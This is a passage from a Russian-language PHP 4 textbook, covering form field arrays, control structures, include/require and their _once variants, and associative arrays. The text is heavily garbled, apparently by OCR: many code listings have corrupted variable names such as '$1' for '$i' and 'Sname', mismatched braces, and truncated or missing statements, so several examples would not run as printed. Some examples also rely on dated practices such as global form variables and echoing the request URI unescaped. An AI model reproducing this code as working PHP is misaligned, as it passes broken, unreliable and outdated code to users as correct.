Можно догадаться, что после передачи подобных данных сценарию на РНР в нем будет инициализирован ассоциативный массив $Data с ключами name, address и city (ассоциативные массивы мы также затрагивали пока только вскользь, но очень скоро этот пробел будет достойно восполнен). То есть, имена полям формы можно давать не только простые, но и представленные в виде одномерных ассоциативных массивов.

Забегая вперед, скажу, что в сценарии к отдельным элементам формы можно будет обратиться при помощи указания ключа массива: например, $Data [ 'city' ] обозначает значение той радиокнопки, которая была выбрана пользователем, a $Data["name"] — введенное имя. Заметьте, что в сценарии мы обязательно должны заключать ключи в кавычки или апострофы — в противном случае интерпретатором будет выведено предупреждение. В то же время, в параметрах name полей формы мы, наоборот, должны их избегать — уж так устроен РНР.

Внимание

Если верить официальной документации, то многомерные массивы (то есть, массивы массивов) указывать нельзя. Например, при передаче данных поля, определенного как <input type=text name=Silly[one][two][three]> в программе, действительно, создастся массив $silly, но он будет одномерный и с ключом one][two][three — совсем не то, что мы ожидали, не правда ли? В принципе, при большом желании можно написать функцию, которая конвертирует такие "испорченные" массивы в нормальное многомерное представление, но это выходит за рамки нашего обзора.

К счастью, похоже, разработчики РНР поняли, что неработоспособность многомерных массивов при передаче их из формы серьезно снижает популярность РНР. Поэтому они наконец-то включили в РНР поддержку последних. Ура! Например, в моей версии РНР 4.0.3 (самой свежей на момент написания этих строк) они уже работают. Впрочем, в документации по- прежнему заявлено, что "многомерные массивы использовать нельзя". Что это — ошибка или злая шутка?..

Как же проверить, можно ли использовать многомерные массивы при обработке форм в вашей версии РНР? Нет ничего проще! Достаточно запустить следующий сценарий (листинг 8.8).

Листинг 8.8. testarr.php: работают ли многомерные массивы?

<?

// оператор @ нужен, для того чтобы подавить предупреждение, если / / переменная еще не была инициализирована .

if(SSgo) {

if (@$А[10] [20]="Yes") {

echo "Многомерные массивы работают! " ;

} else {

echo "Многомерные массивы НЕ работают 1 " ;

}

} else {

echo "<hl>Testing, wait. . .</hl>";

echo "<meta http-equiv=Refresh

echo "content='0; URL=$REQUEST_URI?go=l&A[l][2]=Yes'>";

Вот вкратце, как он работает. При первом запуске переменная $до не инициализирована, поэтому управление получает блок, выводящий тэг1 <meta>. Он заставляет браузер перезагрузить страницу, но уже с параметрами в командной строке go=l&A[l] [2]=Yes. Сценарий запускается снова, но уже на этот раз переменная $go равна 1 (потому что именно такое значение было передано в командной строке). Если многомерные массивы поддержаны, то, очевидно, что элемент массива SA[1] [2], которому мы присвоили значение Yes в командной строке, будет существовать и равняться Yes. В этом случае мы получим сообщение, что массивами пользоваться можно, а иначе — что они не работают.

Глава 9

Конструкции языка

Ну вот мы и подобрались к языковым конструкциям. Некоторые из них нами уже применялись, и не раз — например, инструкция if. В этой главе приводится полное описание всех языковых конструкций РНР. Их не так много, и это достоинство РНР. Как показывает практика, чем более лаконичен синтаксис языка, тем проще его использовать в повседневной практике. РНР — отличный пример этому.

О терминологии

Иногда я применяю слово "конструкция", а иногда — "инструкция". В данной книге эти два термина совершенно эквивалентны. Наоборот, термины "оператор" и "операция" несут разную смысловую нагрузку: любая операция есть оператор, но не наоборот. Например, echo — оператор, но не операция, а ++ - операция.

Инструкция if-else

Начнем с самой простой инструкции — условного оператора. Его формат таков:

if(логическое_выражение)

инструкция_1;

else

инструкция_2;

Действие его следующее: если логическое_выражение истинно, то выполняется инструкция_1, а иначе — инструкция_2. Как и в любом другом языке, конструкция else может опускаться, в этом случае при получении должного значения просто ничего не делается.

Пример:

if($а>=1&&$Ь<=10) echo "Все OK";

else echo "Неверное значение в переменной!";

Если инструкция_1 или инструкция_2 должны состоять из нескольких команд, то они, как всегда, заключаются в фигурные скобки. Например:

if($a>$b) { print "а больше b"; c=$b; )

elseif($a==$b) ( print "а равно b"; $c=$a; }

else { print "а меньше b"; $c=$a; }

Это не опечатка: elseif слитно, вместо else if. Так тоже можно писать, хотя это, по-моему, и не удобочитаемо.

Конструкция if-else имеет еще один альтернативный синтаксис:

if:

команды;

elseif(другое_логическое_выражение):

другие_команды;

else:

иначе_команды;

endif

Обратите внимание на расположение двоеточия (:)! Если его пропустить, будет сгенерировано сообщение об ошибке. И еще: как обычно, блоки elseif И else МОЖНО опускать.

Использование альтернативного синтаксиса

В предыдущих главах нами уже неоднократно рассматривался пример вставки HTML-кода в тело сценария. Для этого достаточно было просто закрыть скобку ?>, написать этот код, а затем снова открыть ее при помощи <?, и продолжать программу.

Возможно, вы обратили внимание на то, как это некрасиво выглядит. Тем не менее, если приложить немного усилий для оформления, все окажется не так уж и плохо. Особенно, если использовать альтернативный синтаксис if-else и других конструкций языка.

Чаще всего, однако, нужно бывает делать не вставки HTML внутрь программы, а вставки кода внутрь HTML. Это гораздо проще для дизайнера, который, возможно, в будущем захочет переоформить ваш сценарий, но не сможет разобраться, что ему изменять, а что не трогать. Поэтому целесообразно бывает отделять HTML-код от программы, например, поместить его в отдельный файл, который затем подключается к программе при помощи инструкции include (см. ниже). Сейчас мы не будем подробно останавливаться на этом вопросе, но потом обязательно к нему вернемся.

Вот, например, как будет выглядеть наш старый знакомый сценарий, который приветствует пользователя по имени, с использованием альтернативного синтаксиса(листинг 9.1):

Листинг 9.1. Альтернативный синтаксис

<?if (@$go):?>

Привет,

<?else:?>

<fom action=<?=$REQUEST_URI?> method=post>

Ваше имя:

<input

<?endif?>

Согласитесь, что даже человек, совершенно не знакомый с РНР, но зато хорошо разбирающийся в HTML, легко сможет додуматься, что к чему в этом сценарии.

Цикл с предусловием while

Эта конструкция также унаследована непосредственно от Си. Ее предназначение — цикличное выполнение команд в теле цикла, включающее предварительную проверку, нужно ли это делать (истинно ли логическое выражение в заголовке). Если не нужно (выражение ложно), то конструкция заканчивает свою работу, иначе выполняет очередную итерацию и начинает все сначала. Выглядит цикл так:

while(логическое_выражение)

инструкция;

где, как обычно,- логическое выражение, а

инструкция — простая или составная инструкция тела цикла. (Очевидно, что внутри последнего должны производиться какие-то манипуляции, которые будут иногда изменять значение нашего выражения, иначе оператор зациклится. Это может быть, например, простое увеличение некоего счетчика, участвующего в выражении, на единицу.) Если выражение с самого начала ложно, то цикл не выполнится ни разу. Например:

$р=1;

{

echo

$p=$p*2; // можно было бы написать $р*=2

// можно было бы написать $i+=l или даже $i++

}

Данный пример выводит все степени двойки довключительно.

Как и инструкция if, цикл while имеет альтернативный синтаксис, что упрощает его применение вперемешку с HTML-кодом:

while(логическое_выражение) :

команды;

endwhile;

Цикл с постусловием do-while

В отличие от цикла while, этот цикл проверяет значение выражения не до, а после каждого прохода. Таким образом, тело цикла выполняется хотя бы один раз. Выглядит оператор так:

do (

команды;

} while(логическое_выражение);

После очередной итерации проверяется, истинно ли логическое_выражение, и, если это так, управление передается вновь на начало цикла, в противном случае цикл обрывается.

Альтернативного синтаксиса для do-while разработчики РНР не предусмотрели (видимо, из-за того, что, в отличие от прикладного программирования, этот цикл довольно редко используется при программировании сценариев).

Универсальный цикл for

Я не зря назвал его универсальным — ведь с его помощью можно (и нужно) создавать конструкции, которые будут выполнять действия совсем не такие тривиальные, как простая переборка значения счетчика (а именно для этого используется for в Паскале и чаще всего в Си). Формат конструкции такой:

for(инициализирующие_команды; условие_цикла; команды_после_прохода)

тело цикла;

Работает он следующим образом. Как только управление доходит до цикла, первым делом выполняются операторы, включенные в инициализирую- щие_команды (слева направо). Эти команды перечисляются там через запятую, например:

for ($i=0, $j=)

Затем начинается итерация. Первым делом проверяется, выполняется ли условие_цикла (как в конструкции while). Если да, то все в порядке, и цикл продолжается. Иначе осуществляется выход из конструкции. Например: // прибавляем по одной точке

for($i=0,$j=0,$k=”Test”; $i<10;) $k.=".";

Предположим, что тело цикла проработало одну итерацию. После этого вступают в действие команды_после_прохода (их формат тот же, что и у инициализирующих операторов). Например:

for($1=0,$j=0,$k="Points"; $i<100; $j++,$i+=$j) $k=$k.".";

Хочется добавить, что приведенный пример (да и вообще любой цикл for) можно реализовать и через while, только это будет выглядеть не так изящно и лаконично. Например:

$1=0; $j=0; $k="Points";

while ($i<100) {

$k.=".";

$j++; $i+=$j;

}

Вот, собственно говоря, и все... Хотя нет. Попробуйте угадать: сколько точек добавится в конец переменной $k после выполнения цикла?

Как обычно, имеется и альтернативный синтаксис конструкции:

for(инициализирующие_команды; условие_цикла; команды_после_прохода) : операторы;

endfor;

Инструкции break и continue

Продолжим разговор про циклические конструкции. Очень часто для того, чтобы упростить логику какого-нибудь сложного цикла, удобно иметь возможность его прервать в ходе очередной итерации (к примеру, при выполнении какого-нибудь особенного условия). Для этого и существует инструкция break, которая осуществляет немедленный выход из цикла. Она может задаваться с одним необязательным параметром — числом, которое указывает, из какого вложенного цикла должен быть произведен выход. По умолчанию используется 1, т. е. выход из текущего цикла, но иногда применяются и другие значения: for($1=0; $i<10; $i++) {

for($j=0; $j<10; $j++) {

If($A[$i]==$A[$j]) break(2);

}

if($i<10) echo 'Найдены совпадающие элементы в матрице $А! '

В этом примере инструкция break осуществляет выход не только из второго, но и из первого цикла, поскольку указана с параметром 2.

Примечание

Применение такой формы записи break — новинка РНР версии 4. Честно говоря, я не встречал ни одного другого языка, который бы использовал подобный (на мой взгляд, крайне удачный) синтаксис. Спасибо вам, разработчики РНР!

Инструкцию break удобно использовать для циклов поисков: как только очередная итерация цикла удовлетворяет поисковому условию, поиск обрывается. Например, вот цикл, который ищет в массиве $А первый нулевой элемент:

for($i=0; $i<count($А); $i++l

if($A[$i]==O) break;

if($i<count($A)) echo "Нулевой элемент найден: i~$i";

Стандартная функция count о, которую мы еще не рассматривали, просто возвращает число элементов в массиве $A.

Инструкция continue так же, как и break, работает только "в паре" с циклическими конструкциями. Она немедленно завершает текущую итерацию цикла и переходит к новой (конечно, если выполняется условие цикла для цикла с предусловием). Точно так же, как и для break, для continue можно указать уровень вложенности цикла, который будет продолжен по возврату управления.

В основном continue позволяет вам сэкономить количество фигурных скобок в коде и увеличить его удобочитаемость. Это чаще всего бывает нужно в циклах-фильтрах, когда требуется перебрать некоторое количество объектов и выбрать из них только те, которые удовлетворяют определенным условиям. Например, вот цикл, который обнуляет те элементы массива $A, которые удовлетворяют нескольким условиям:

for($1=0; Siccount($A)$i++) {

if ( !условие! ($A[$i] ) ) continue;

if( !условием($A[$i] ) ! continue; $A[$i]=0;

Замечание

1 Грамотное использование break и continue — искусство, позволяющее заметно улучшить "читабельность" кода и количество блоков else. Возможно, в приведенных выше примерах оно и не было абсолютно оправданным, но, я уверен, рано или поздно вам придется столкнуться с ситуацией, когда без этих инструкций не обойтись.

Нетрадиционное использование do-while и break

Есть один интересный побочный эффект, который дает нам инструкция break, и который довольно удобно использовать для обхода "лишних" операторов (кстати, его можно применять и в Си). Необходимость такого обхода возникает довольно часто, причем именно при программировании сценариев. Рассмотрим соответствующий пример (листинг 9.2):

Листинг 9.2. Модель сценария для обработки формы

$WasError=0; // индикатор ошибки — если не 0, то была ошибка // Если нажали кнопку Submit (с именем $doSubmlt). . .

if(@$doSubmit) do {

// Проверка входных данных

if(неправильное имя пользователя) { $WasError=l; break; }

. . . и т. д.

if(неправильные данные) { $WasError=l; break; }

. . . и т. д.

// Данные в порядке. Обрабатываем их.

выполняем действия;

выводим результат;

завершаем сценарий;

} while (0) ;

Выводим форму, через которую пользователь будет запускать этот сценарий, и, возможно, отображаем сообщение об ошибке в случае, если $WasError!=0.

Здесь представлен наиболее обычный способ для организации сценариев- диалогов. Запустив сценарий без параметров, пользователь видит форму с приглашением ввести свое имя, пароль и некоторые другие данные. При нажатии кнопки запускается тот же самый сценарий, который определяет, что была нажата кнопка doSubmit, и первым делом проверяет имя и пароль. Если они заданы неверно, то отображается опять наша форма (и где-нибудь красным цветом сообщение об ошибке), в противном случае сценарий завершается и выдает страницу с результатом.

Мы видим, что указанный алгоритм можно реализовать наиболее удобно, имея какой-то способ обрывания блока "проверки-и-завершения и возврата к выводу формы заново. Как раз это и делает конструкция

if(что то) do { ... } while (0);

Очевидно, что тело цикла do-while выполняется в любом случае только один раз (так как выражение в while всегда ложно). Тем не менее, такой "вырожденный" цикл мы можем использовать для быстрого выхода из него посредством break.

Многие сразу возразят, что в таких случаях удачнее будет задействовать функции и оператор return. Однако в РНР как раз это довольно неудобно, поскольку для того, чтобы из функции добраться до глобальной переменной (коей является любой элемент формы), нужно проделать несколько дополнительных шагов. Это, конечно, недостаток РНР, и о нем мы поговорим чуть позже.

Цикл for each

Данный тип цикла предназначен специально для перебора всех элементов массива и был добавлен только в четвертой версии языка РНР. Выглядит он следующим образом:

foreach(массив as $key=>$value)

команды;

Здесь команды циклически выполняются для каждого элемента массива, при этом очередная пара ключ->значение оказывается в переменных $key и $value. Давайте рассмотрим пример (листинг 9.3), где покажем, как мы можем отобразить содержимое всех глобальных переменных при помощи foreach:

Листинг 9.3. Вывод всех глобальных переменных

<?

foreach($GLOBALS as $k=>$v)

echo "<b>$k</b> => <tt>$v</ttxbr>\n";

У цикла foreach имеется и другая форма записи, которую следует применять, когда нас не интересует значение ключа очередного элемента. Выглядит она так:

foreach(массив as $value)

команды;

В этом случае доступно лишь значение очередного элемента массива, но не его ключ. Это может быть полезно, например, для работы с массивами- списками.

Внимание

Цикл foreach оперирует не исходным массивом, а его копией. Это означает, что любые изменения, которые вносятся в массив, не могут быть "видны" из

тела цикла. Что позволяет, например, в качестве массива использовать не только переменную, но и результат работы какой-нибудь функции, возвращающей массив (в этом случае функция будет вызвана всего один раз — до начала цикла, а затем работа будет производиться с копией возвращенного значения).

В следующей главе мы рассмотрим ассоциативные массивы и все, что к ним относится, гораздо более подробно.

Конструкция switch-case

Часто вместо нескольких расположенных подряд инструкций if-else целесообразно воспользоваться специальной конструкцией switch-case: switch(выражение) {

case значение!: команды!; [break;]

case значение2: команды2; [break;]

case значением: командыМ; [break;]

[default: команды__по_умолчанию; [break] ]

}

Делает она следующее: вычисляет значение выражения (пусть оно равно, например, v), а затем пытается найти строку, начинающуюся с case V:. Если такая строка обнаружена, выполняются команды, расположенные сразу после нее (причем на все последующие операторы case что_то внимание не обращается, как будто их нет, а код после них остается без изменения). Если же найти такую строку не удалось, выполняются команды после default (когда они заданы).

Обратите внимание на операторы break (которые условно заключены в квадратные скобки, чтобы подчеркнуть их необязательность), добавленные после каждой строки команд, кроме последней (для которой можно было бы тоже указать break, что не имело бы смысла). Если бы не они, то при равенстве У=значение1 сработали бы не только команды!, но и все нижележащие.

Вот альтернативный синтаксис для конструкции switch-case:

switch(выражение):

case значение!: команды!; [break;]

case значением: командыМ; [break;]

[default: команды_по_умолчанию; [break]] endswitch;

Инструкция require

Эта инструкция позволяет нам разбить текст программы на несколько файлов. Ее формат такой:

require имя_файла;

При запуске (именно при запуске, а не при исполнении!) программы интерпретатор просто заменит инструкцию на содержимое файла имя_файла (этот файл может также содержать сценарий на РНР, обрамленный, как обычно, тэгами <? и ?>). Причем сделает он это только один раз (в отличие от include, который рассматривается ниже): а именно, непосредственно перед запуском программы. Это бывает довольно удобно для включения в вывод сценария всяких "шапок" с HTML-кодом. Например (листинги 9.4, 9.5 и 9.6):

I Листинг 9.4. Файл header. htm

<html>

<headxtitle>Title! </titlex/head>

<body bgcolor=yellow>

i Листинг 9.5. Файл footer.htm

&copy;My company, 1999.

</bodyx/html>

] Листинг 9.6. Файл script.php

require "header.htm";

. . . работает сценарий и выводит само тело документа require "footer.htm";

?>

Безусловно, это лучше, чем включать весь HTML-код в сам сценарий вместе с инструкциями программы. Вам скажет спасибо тот, кто будет пользоваться вашей программой и захочет изменить ее внешний вид. Однако, несмотря на кажущееся удобство, это все же плохая практика. Действительно, наш сценарий разрастается аж до трех файлов! А как было сказано выше, чем меньше файлов использует программа, тем легче с ней будет работать вашему дизайнеру и верстальщику (которые о РНР имеют слабое представление).

О том, как же быть в этой ситуации, я расскажу позже в пятой части книги, в главе, посвященной технике разделения кода и шаблонов.

Инструкция include

Эта инструкция практически идентична require, за исключением того, что включаемый файл вставляется "в сердце" нашего сценария не перед его выполнением, а прямо во время.

Какая разница? Поясню. Пусть у нас есть 10 текстовых файлов с именами fileO.php,и так далее досодержимое которых просто

десятичные цифры О, 1 ... 9 (по одной цифре в каждом файле). Запустим такую программу:

for($i=0; $i<10; $i++) {

include ”fiie$i.php";

}

В результате мы получим вывод, состоящий из 10 цифр: "0123456789". Из этого мы можем заключить, что каждый из наших файлов был включен по одному разу прямо во время выполнения цикла! (Попробуйте теперь вместо include подставить require. Сравните результат.)

Вы, должно быть, обратили внимание на, казалось бы, лишние фигурные скобки вокруг include. Попробуйте их убрать. Вы тут же можете получить совершенно бестолковое сообщение об ошибке (или, еще хуже, программа начнет неправильно работать, а причину разыскать будет нелегко). Почему так происходит? Да потому, что include не является на самом деле оператором в привычном нам смысле этого слова. Чтобы это понять, представьте, что каждый раз, когда интерпретатор встречает инструкцию include, он просто "в лоб" заменяет ее на содержимое файла, указанного в параметре. А вдруг в этом файле несколько команд? Тогда в цикле выполнится только первая из них, а остальные будут запущены уже после окончания цикла. Так что общее правило гласит: всегда обрамляйте инструкцию include фигурными скобками, если размещаете ее внутри какой-либо конструкции.

Замечание

В будущих версиях разработчики РНР, возможно, и исправят положение к лучшему, однако не советую вам рассчитывать на это.

Трансляция и проблемы с include

Как мы знаем, перед исполнением РНР транслирует программу во внутреннее представление. Это означает, что в памяти создается как бы "полуфабрикат", из которого исключены все комментарии, лишние пробелы, не-

которые имена переменных и т. д. Впоследствии это внутреннее представление интерпретируется (выполняется). Однако мы знаем также, что в программе могут встретиться такие места, "подводные камни" для интерпретатора, которые РНР не сможет оттранслировать заранее. В этом случае он их пропускает, "откладывает на потом", чтобы в момент, когда управление дойдет до определенной точки, опять запустить транслятор.

Одним из таких "камней" как раз и является инструкция include. Как только управление программы доходит до нее, РНР вынужден приостановиться и ждать, пока транслятор не оттранслирует код включаемого файла. А это достаточно отрицательно сказывается на быстродействии программы, особенно большой. Поэтому, если вы пишете большой и сложный сценарий, применяйте инструкцию require вместо include, где только можно.

В пользу последнего говорит также и перспектива появления в будущем компилятора для РНР, который будет уметь сохранять оттранслированный код в исполняемые файлы (нечто подобное уже существует для программ на Perl). Если вы будете использовать include, то РНР никак не сможет определить во время компиляции, какие файлы вы собираетесь подключить в программе, поэтому в исполняемый файл их код не войдет.

Что же оптимальнее — require или include? Если вы точно уверены, что определенный файл нужно присоединить ровно один раз и в точно определенное место, то воспользуйтесь require. В противном случае более удачным выбором будет include.

Инструкции однократного включения

В больших и непростых сценариях инструкции include и require применяются очень и очень часто. Поэтому становится довольно сложно контролировать, как бы случайно не включить один и тот же файл несколько раз (что чаще всего приводит к ошибке).

Чтобы стало яснее, я расскажу вам притчу. Как-то раз разработчик Билл написал несколько очень полезных функций для работы с файлами Excel и решил объединить их в библиотеку — файл xllib.php (листинг 9.7):

Листинг 9.7. Библиотека xllib.php

Function LoadXIDocument($filename) { . . ,. )

Function SaveXIDocument($filename, $doc) {. . . 1

Разработчик Вася захотел сделать то же самое для работы с документами Microsoft Word, в результате чего на свет явилась библиотека wlib.php. Так

как Word и Excel связаны между собой, Вася использует в своей библиотеке (листинг 9.8) возможности, предоставляемые библиотекой xllib.php - подключает ее командой require:

Листинг 9.8. Библиотека wlib.php

require "xllib.php";

Function LoadWDocument (Sfilename) { . . . ) Function SaveWDocument (Sfilename,Sdoc) { . . . } ?>

Эти две библиотеки стали настолько популярны в среде Web-программистов, что скоро все стали их внедрять в свои программы. При этом, конечно же, никому нет дела до того, как эти библиотеки на самом деле устроены - все просто подключают их к своим сценариям при помощи require, не задумываясь о возможных последствиях.

Но в один прекрасный день одному неизвестному программисту потребовалось работать и с документами Word, и с документами Excel. Он, не долго думая, подключил к своему сценарию обе эти библиотеки (листинг 9.9):

| Листинг 9.9. Подключение библиотекxllib.php и wlib.php

require "wlib.php";

require "xllib.php";

$wd=LoadWDocument("document, doc");

Sxd=LoadXlDocument("document.xls") ;

?>

Каково же было его удивление, когда при запуске этого сценария он получил сообщение об ошибке, в котором говорилось, что в файле xlib.php функция LoadXIDoc () определена дважды!..

Что же произошло? Нетрудно догадаться, если проследить за тем, как транслятор РНР "разворачивает" код листинга 9.9. Вот как это происходит:

//require "wlib.php";

//require "xllib.php";

Function LoadXlDocument (Sfilename) ( . . . }

Function SaveXIDocument (Sfilename,Sdoc) { . . . }

Function LoadWDocument ($filename) { . . . } Function SaveWDocument (Sfilename,Sdoc) { . . . }

//require "xllib.php";

Function{ . . .

Function$doc)

;

$xd=LoadXlDocument("document.xls") ;

Как видим, файл xllib.php был включен в текст сценария дважды: первый раз косвенно черези второй раз — непосредственно из програм

мы. Поэтому транслятор, дойдя до выделенной строки, обнаружил, что функцияо определяется второй раз, на что честно и про

реагировал.

Конечно, разработчик сценария мог бы исследовать исходный текст библиотеки wiib.php и понять, что во второй раз xllib.php включать не нужно. Но согласитесь — это не выход. Действительно, при косвенном подключении файлов третьего и выше уровней вполне могут возникнуть ситуации, когда без модификации кода библиотек будет уже не обойтись. А это недопустимо. Как же быть?

Что ж, после столь длительного вступления (возможно, слишком длительного?) наконец настала пора рассказать, что думают по этому поводу разработчики РНР. А они предлагают простое решение: инструкции И require_once.

Инструкция require_once работает точно так же, как и require, но за одним важным исключением. Если она видит, что затребованный файл уже был ранее включен, то она ничего не делает. Разумеется, такой метод работы требует от РНР хранения полных имен всех подсоединенных файлов где- то в недрах интерпретатора. Так он, собственно говоря, и поступает.

Инструкцияработает совершенно аналогично, но включает

файл во время исполнения программы, а не во время трансляции.

С Замечание)

Как я уже говорил, в РНР существует внутренняя таблица, которая хранит полные имена всех включенных файлов. Проверка этой таблицы осуществляется инструкциями include_once и require_once. Однако добавление имени включенного файла производят также и функции require и include. Поэтому, если какой-то файл был востребован, например, по команде require, а затем делается попытка подключить его же, но с использованиемто

последняя инструкция просто проигнорируется.

Везде, где только можно, применяйте инструкции с суффиксом once. Постарайтесь вообще отказаться от require и include. Это во многом упростит разбиение большой и сложной программы на относительно независимые модули.

Глава10

Ассоциативные массивы

Возможно, вы уже догадались, что ассоциативные массивы — один из самых мощных инструментов в РНР. Массивы — нечто, что довольно часто реализовывается в интерпретаторах типа РНР (в Perl ассоциативные массивы устроены даже немного хуже, чем в РНР). Давайте рассмотрим чуть подробнее, как с ними работать.

Массивы — это своеобразные контейнеры-переменные для хранения сразу нескольких величин, к которым можно затем быстро и удобно обратиться. Конечно, никто не запрещает вам вообще их не использовать, а, например, давать своеобразные имена переменным, такие как $al, $a2 и т. д., но представьте, что получится в этом случае, если вам нужно держать в памяти, скажем, тысячу таких переменных. Кроме того, такой способ организации массивов имеет и еще один недостаток — очень трудно перебрать все его значения в цикле, хотя это и возможно: for ($1=0; ; $i++) { $v="a$i"; if(!isset($$v)) break;

..делаем что-нибудь с $$v ]

' Совет )

Никогда так не делайте! Этот пример приведен здесь лишь для иллюстрации. Если вдруг при написании какого-нибудь сценария вам все-таки мучительно захочется применить этот "трюк", выключите компьютер, подумайте минут 15, а затем снова включите его.

Здесь мы используем возможность РНР по работе с ссылочными переменными, которую я категорически не рекомендую где-либо применять. Все это представлено здесь для того, чтобы проиллюстрировать, насколько неудобно бывает работать без массивов.

Давайте теперь начнем с самого начала. Пусть у нас в программе нужно описать список из нескольких человеческих имен. Можно сделать это так (листинг 10.1):

Листинг 10.1. Инициализация массива

!——j

$NamesList[0]="Dmitry";

$NamesList[1]="Helen";

$NamesList[2]="Sergey";

Таким образом, мы по одному добавляем в массивэлементы, на

пример, пронумерованные от 0. РНР узнает, что мы хотим создать массив, по квадратным скобкам (нужно заметить, что для этого переменнаяв

начале не должна еще быть инициализирована). Я буду в дальнейшем называть массивы, ключи (или, как их часто называют, индексы — то, что стоит в квадратных скобках) которых нумеруются с нуля и идут без пропусков (а это далеко не всегда так, как мы вскоре увидим), списками.

Некоторые стандартные функции РНР, обрабатывающие массивы, требуют передавать в их параметрах именно списки, хотя чаще всего можно это ограничение обойти, передав им любой другой массив. В таком случае они все равно рассматривают массив как обычный список, т. е. не обращают никакого внимания на его ключи. Во многих случаях это бывает нежелательно, на чем мы чуть позже остановимся подробнее.

Давайте теперь посмотрим, как можно распечатать наш список. Самый простой способ — воспользоваться циклом for:

echo "А вот первый элемент массива:

$i++)

echo

Количество элементов в массиве легко можно определить,функ

цию count или ее синоним sizeof

for($i=0;$i++)

echo

Создание"на лету".

В примере из листинга 10.1, казалось бы, все гладко. За исключением одного небольшого недостатка: каждый раз, добавляя имя, мы должны были выбирать для него номер и заботиться, чтобы ненароком не указать уже существующий. Чтобы этого избежать, можно написать те же команды так: $NamesList[]="Dmitry";

SNamesList[]="Helen";

$NamesList[]="Sergey";

В этом случае PHP сам начнет (конечно, если переменнаяеще

не существует) нумерацию с нуля и каждый раз будет прибавлять к счетчику по единичке, создавая список. Согласитесь, довольно удобно. Разумеется, можно использовать [ ] и не только в таком простом контексте, очень часто они применяются для более общего действия — добавления элемента в конец массива, например:

// на всякий случай стираем массив

while($f=oчepeднoe_имя_фaйлa_в_тeкyщeм каталоге)

if[ ] =$f

// теперьсодержит список файлов с расширением txt

Если же нам нужно создать ассоциативный массив (я буду его иногда называть хэш), все делается совершенно аналогично, только вместо цифровых ключей мы должны указывать строковые. При этом следует помнить, что в строковых ключах буквы нижнего и верхнего регистров считаются различными. И еще: ключом может быть абсолютно любая строка, содержащая пробелы, символы перевода строки, нулевые символы и т. д. То есть, никаких ограничений на ключи не накладывается.

Поясню сказанное на примере. Пусть нам надо написать сценарий, который работает, как записная книжка: по фамилии абонента он выдает его имя. Мы можем организовать базу данных этой книжки в виде ассоциативного массива с ключами — фамилиями и соответствующими им значениями имен людей:

= "Dmitry";

"Ivan";

= "Peter";

Далее, мы можем распечатать имя любого абонента командой: echo

$f="Koteroff";

echo

Как видите, тут никаких особенностей нет, все работает совершенно аналогично спискам, только с нецифровыми ключами. Возможно, вы скажете, что это не совсем так: например, нельзя воспользоваться циклом for, как мы это делали раньше, для вывода всех персоналий, и окажетесь правы. Вскоре мы рассмотрим целых три приема, с помощью которых можно перебрать все элементы массива. Вы, скорее всего, будете применять их даже и для списков - настолько они удобны и универсальны, а к тому же и работают быстрее, чем последовательный перебор в цикле for с использованием $i.

Инструкция

Пусть у нас есть некоторый массив-список с тремя элементами: имя человека, его фамилия и возраст. Нам бы хотелось присвоить переменным и $age эти величины.конечно, можно сделать так:

$name=$List[0];

$surname=$List[1];

$age=$List[ 2 J;

Но гораздо изящнее будет воспользоваться инструкциейо, предназна

ченной как раз для таких целей:

list(Sname,Ssurname,Sage)=$List;

Согласитесь, выглядитприятнее. Конечно, о можно задейст

вовать для любого количества переменных: если в массиве не хватит элементов, чтобы их заполнить, им просто присвоятся неопределенные значения.

Что, если нам нужны только второй и третий элемент массива

В этом случае имеет смысл пропустить первый параметр в инструкции list о , вот так:

list(,$surname,Sage)=$List;

Таким образом, мы получаем ви $аде фамилию и возраст челове

ка, не обращая внимания на его имя в первом аргументе.

(Замечание

Разумеется, можно пропускать любое число элементов, как слева или справа, так и посередине списка. Главное — не забыть проставить нужное количество запятых.

Списки и ассоциативные массивы: путаница?..

Следует сказать несколько слов насчет ассоциативных массивов языка Во-первых, на самом деле все "остальные" массивы также являются ассоциативными (в частности, списки — тоже). Во-вторых, ассоциативные массивы в РНР являются направленными, т. е. в них существует определенный (и предсказуемый) порядок элементов, не зависящий от реализации. А значит, есть первый и последний элементы, и для каждого элемента можно определить следующий за ним. Именно по этой причине мне не нравится название(в буквальном переводе -• "мешанина"), хотя, конечно, в

реализации РНР наверняка используются алгоритмы хэширования для увеличения быстродействия.

Операция [ ] всегда добавляет элемент в конец массива, присваивая ему при этом такой числовой индекс, который бы не конфликтовал с уже имеющимися в массиве (точнее, выбирается номер, превосходящий все имеющиеся цифровые ключи в массиве). Вообще говоря, любая операция $Array[ключ]“значение всегда добавляет элемент в конец массива, конечно, за исключением тех случаев, когда ключ уже присутствует в массиве. Если вы захотите изменить порядок следования элементов в ассоциативном массиве, не изменяя в то же время их ключей, это можно сделать одним из двух способов: воспользоваться функциями сортировки, либо же создать новый пустой массив и заполнить его в нужном порядке, пройдясь по элементам исходного массива.

Инструкция arrayO

и многомерные массивы

Вернемся к предыдущему примеру. Нам необходимо написать программу, которая по фамилии некоторого человека из группы будет выдавать его имя. Поступим так же, как и раньше: будем хранить данные в ассоциативном массиве (сразу отбрасывая возможность составить ее из огромного числа конструкцийif-elseкакнеинтересную):

SNames["Ivanov"] ="Dmitry";

$Names["Petrova"]“"Helen";

Теперь можно, как мы знаем, написать:

echo SNames["Petrova"];// выведет Helen

echo SNames["Oshibkov"]; // ошибка: в массиве нет такого элемента!

Идем дальше. Прежде всего обратим внимание: приведенным выше механизмом мы никак не смогли бы создать пустой массив. Однако он очень часто может нам понадобиться, например, если мы не знаем, что раньше было в массиве $Names, но хотим его проинициализировать указанным путем. Кроме того, каждый раз задавать массив указанным выше образом не очень-то удобно — приходится все время однообразно повторять строку $Names...

Так вот, существует и второй способ создания массивов, выглядящий значительно компактнее. Я уже упоминал его несколько раз — это использование оператора array (). Например:

// создает пустой массив SNames

$Names=array();

// создает такой же массив, как в предыдущем примере с именами SNames-array("Ivanov"=>"Dmitry", "Petrova"=>"Helen");

// создает список с именами (нумерация 0,1,2} $NamesList=array("Dmitry","Helen","Sergey")

Теперь займемся вопросом, как формировать двумерные (и вообще многомерные) массивы. Это довольно просто. В самом деле, я уже говорил, что значениями переменных (и значениями элементов массива тоже, поскольку РНР не делает никаких различий между переменными и элементами массива) может быть все, что угодно, в частности — опять же массив. Так, можно создавать ассоциативные массивы (а можно — списки) с любым числом измерений. Например, если кроме имени о человеке известен также его возраст, то можно инициировать массив $Names так:

$Names["Ivanov"] =

$Names["Petrova"] =

или даже так:

$Names=array(

"Ivanov" => array("name"=>"Dmitry","age"=>25) ,

"Petrova"=> array("name"=>"Helen", "age"=>23) );

